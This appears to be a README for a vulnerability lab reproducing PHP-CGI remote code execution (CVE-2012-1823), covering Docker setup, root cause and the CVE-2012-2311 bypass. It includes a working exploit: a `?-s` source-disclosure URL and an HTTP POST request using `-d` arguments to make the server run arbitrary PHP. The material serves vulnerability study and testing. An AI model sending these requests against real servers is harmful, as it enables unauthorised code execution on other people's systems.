# PHP-CGI Remote Code Execution (CVE-2012-1823) [中文版本(Chinese version)](README.zh-cn.md) PHP-CGI is a SAPI (Server Application Programming Interface) implementation that allows PHP to communicate with web servers. A vulnerability in PHP-CGI allows attackers to pass command-line arguments to PHP through query strings, potentially leading to remote code execution. Affected versions: PHP < 5.3.12 or PHP < 5.4.2 References: - - ## Environment Setup Execute the following command to start a web server that uses PHP-CGI 5.4.1: ``` docker compose up -d ``` After the server starts, visit `http://your-ip:8080/` to see the "Hello" message. ## Vulnerability Reproduction Visit `http://your-ip:8080/index.php?-s` to reveal the source code, confirming the vulnerability exists. Send the following request to execute arbitrary PHP code: ``` POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1 Host: example.com Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 31 ``` ## Technical Details ### PHP SAPI and Running Modes PHP-CGI can run in two modes: 1. CGI mode: The web server creates a new process for each request 2. FastCGI mode: A persistent process handles multiple requests According to RFC3875, when the query string doesn't contain an unencoded `=` character, it should be passed as CGI parameters. Apache implemented this requirement, but PHP didn't properly handle this case, leading to this vulnerability. The simplest exploitation method is using the `-s` parameter to display source code: ![](1.png) A more powerful method is using `-d` to specify `auto_prepend_file`, creating an arbitrary file inclusion vulnerability: ![](2.png) Note: Replace spaces with `+` or `%20`, and encode `=` characters. ### CVE-2012-2311 - The Incomplete Fix PHP initially fixed this vulnerability in versions 5.4.2 and 5.3.12 by checking for the `-` character at the start of the query string. However, this fix was incomplete and could be bypassed (CVE-2012-2311) when PHP-CGI was wrapped in a shell script: ```sh #!/bin/sh exec /usr/local/bin/php-cgi $* ``` By adding whitespace before the `-`, attackers could still pass parameters as the first character would be a space instead of `-`. PHP addressed this in versions 5.4.3 and 5.3.13 by skipping all leading whitespace before checking for the `-` character.